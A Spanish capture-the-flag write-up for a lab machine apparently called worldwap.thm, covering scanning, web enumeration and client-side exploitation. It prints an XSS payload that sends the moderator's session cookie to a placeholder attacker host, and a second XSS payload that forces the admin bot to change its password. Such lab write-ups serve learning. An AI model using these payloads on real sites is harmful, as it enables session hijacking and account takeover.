Getting the flags
Escaneo Inicial
- Primero, como siempre, empezamos mirando los puertos.

- Después hacemos un segundo escaneo sobre los puertos abiertos que hemos visto.
Y ojo, porque aquí vemos algo bastante interesante: httponly: false.
Por lo que es probable que debamos de usar un XSS en algún momento. - Una vez tenemos estos resultados, vamos a enumerar contenido web de los puertos
80y8081(Apache) . Usaremosdirsearch, una herramienta genial para la enumeración web (tanto de directorios como de archivos).- Primero para
worldwap.thm:
- Vamos a seguir con el directorio
public/que es donde estará la web.
De aquí nos interesa el directorio html/:
- Ahora vamos con
worldwap.thm:8081:
- Primero para
En esta fase hemos encontrado cosas bastante interesantes. Hemos visto:
- Un posible vector de ataque XSS (por flag
HttpOnlynot set). - Una serie de páginas y scripts que parece que podemos usar para registrarnos, iniciar sesión y cerrar sesión.
- Una serie de documentos no vacíos que nos generan curiosidad como
admin.pyosetup.php.
Profundización
Vamos a empezar leyendo los documentos que más curiosidad nos generan:
setup.php:
admin.py:
Hemos encontrado credenciales, y de hecho funcionan, las he probado, pero no creo que esta sea la forma en la que el creador pretendía que hiciéramos la máquina, por lo que no las usaremos.
Una vez hecho esto vamos a profundizar en la web. Comenzaremos por worldwap.thm.
- Comenzamos yendo a la página tal cual:
Pero aquí no podemos ni navegar ni interactuar con ningún botón. - Vamos a ver la página de
login.php:
Nos apuntamos lo de login.worldwap.thm. Vamos a ver qué hay allí si lo metemos en el/etc/hosts:
No hay nada. - Vamos ahora a ver
register.php:
Dice que el moderador de la web debe aprobar nuestra cuenta, por lo que parece que pueda haber un bot mirando los registros y validándolos al otro lado.
Vamos a seguir ahora con worldwap.thm:8081.
- Comenzamos yendo a la página tal cual:
Es igual que login.worldwap.thm. Si profundizamos haciendo un escaneo condirsearchsobrelogin.worldwap.thmveremos que son exactamente las mismas páginas. Por lo que de ahora en adelante utilizaremoslogin.worldwap.thm. - Vamos a ver qué hay en
login.php:
Parece un panel de inicio de sesión interno.
Explotación
Está claro hasta ahora que primero necesitaremos meternos en la cuenta del moderador y luego en la del administrador, tanto por las preguntas sobre las flags como porque lo que hemos visto aparenta ser vulnerable hacia el moderador primero.
- Comenzamos yendo al formulario de registro de
worldwap.thm:
- Vamos a intentar realizar un ataque XSS para robar la cookie de sesión del moderador.
- Para ello necesitamos un payload:
<img src="x" onerror="fetch('http://IP_ATACANTE:PUERTO_ATACANTE?cookie=' + document.cookie);"> - Y lo meteremos en uno de los campos.

- Levantaremos un servidor de escucha.

- Le daremos a
Register:
- Miraremos los resultados de conexión.

- Cambiamos la cookie en
login.worldwap.thm/login.php:
- Para ello necesitamos un payload:
Una vez hemos obtenido la flag de moderator tenemos que averiguar la forma de conseguir la flag de admin.
Si investigamos la página podemos ver que hay un formulario de cambio de contraseña:

También observamos que hay un chat en el que sólo hay un usuario en linea, el administrador:

Además es un bot, justo como moderator.
- Vamos a usar una técnica de CSRF para intentar cambiar la contraseña del admin, puesto que el cambio de contraseña está reservado a él.

- Para ello primero vamos a capturar una petición de esta página.

- Ahora vamos al chat y crafteamos una imagen maliciosa.
<img src="x" onerror="fetch('/change_password.php', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'new_password=1234'})">
- La escribimos en el chat del admin bot.

- Ahora cerramos la sesión del moderador y nos logueamos como admin con
admin:1234.
- Y así es como conseguimos la flag de admin de forma legítima.

Conclusión
En esta máquina hemos podido observar un vector de ataque (HttpOnly: false) que nos permitía obtener la cookie en JavaScript y mandarla a un servidor externo mediante XSS. Con esa cookie podíamos explotar una vulnerabilidad CSRF en el chat para conseguir que el admin cambiara su contraseña sin querer y con ello iniciar sesión como administrador del sitio.
Un reto divertido que pone a prueba alguna de las técnicas aprendidas en el módulo de ataques avanzados del lado del cliente.
